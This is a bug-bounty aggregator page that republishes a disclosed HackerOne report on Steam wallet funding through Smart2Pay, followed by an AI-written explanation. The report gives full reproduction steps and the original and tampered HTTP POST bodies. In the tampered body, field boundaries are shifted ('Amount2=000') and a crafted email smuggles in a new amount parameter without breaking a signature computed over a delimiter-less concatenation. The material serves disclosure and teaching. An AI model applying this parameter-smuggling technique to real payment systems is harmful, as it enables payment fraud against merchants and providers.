Skip to content
Business logic Disclosed report Advanced

Modify in-flight data to payment provider Smart2Pay

The payment provider Smart2Pay signed a concatenation of all request field names and values, so an attacker could shift characters between fields to add a new amount field without invalidating the signature. This allowed the attacker to pay a small amount and receive a much larger Steam wallet balance.

drbrix Follow

Originally disclosed on HackerOne

Bounty$7,500 Critical View original
  • Triaged in 12 hours
  • Fixed in 28 hours
  • Paid in 28 hours
  • Disclosed after 33 hours

I have found vulnerability which allows attacker to generate steam wallet balance.

Firstly you will have to change yours steam account email to something like (I will explain why in next steps, amount100 is the important part): brixamount100abc@█████

Then go to https://store.steampowered.com/steamaccount/addfunds and click add add funds.

Proceed to payment and select any payment which uses Smart2Pay payment method (przelewy24 in my country).

Click next steps as you would do with normal transaction.

Intercept POST request to https://globalapi.smart2pay.com/

You should see request like that

POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███

We cant change parameters as there is Hash field with signature, however signature is generated like that hash(ALL_FIELDS_NAMES_VALUES_CONTACTED)

For this request it will look like that:

hash(MerchantID1102MerchantTransactionID█████Amount2000.....)

So with our special email we can move parameters in a way that will change amount for us

For example, we can change original Amount=2000 to Amount2=000 and after contacting it still will be Amount2000

Then we can change email from CustomerEmail=brixamount100abc%40████ to CustomerEmail=brix&amount=100&ab=c%40█████████ by this we are adding new field amount with our value.

new request should look like that:

POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████

Then just pay 1 $ and you should get your money on steam wallet in few hours/days those are some transactions made with this metod: 2███████3 2████9

and this is account i was testing everything on: http://steamcommunity.com/profiles/7656██████████

Impact

I think impact is pretty obvious, attacker can generate money and break steam market, sell game keys for cheap etc.

The original report as published on HackerOne, by drbrix. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the signature was computed over a simple concatenation of field names and values without delimiters, allowing field boundaries to be shifted while keeping the same concatenated string.

Impact

An attacker could generate Steam wallet balance by paying a small amount, potentially breaking the Steam market and selling game keys cheaply.

What the attacker needed

A Steam account; ability to intercept HTTP requests; a payment method using Smart2Pay

How it was found

  1. Change the Steam account email to one containing a chosen string such as 'amount100'.
  2. Start adding funds on Steam and choose a payment method that uses Smart2Pay.
  3. Intercept the POST request sent to the Smart2Pay API.
  4. Modify the Amount field by splitting its value into a new field name and value, e.g. change Amount=2000 to Amount2=000.
  5. Modify the CustomerEmail field to inject a new amount parameter while keeping the concatenated string identical.
  6. Complete the payment and receive the inflated Steam wallet balance.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you pay online, the payment provider checks a digital signature to make sure the amount and other details have not been changed. Here, the signature was made by simply joining all field names and values together, so by carefully choosing an email address the attacker could rearrange the text and sneak in an extra field that set a different amount. The provider still accepted the signature, so the attacker paid less and got more wallet credit.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Valve

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.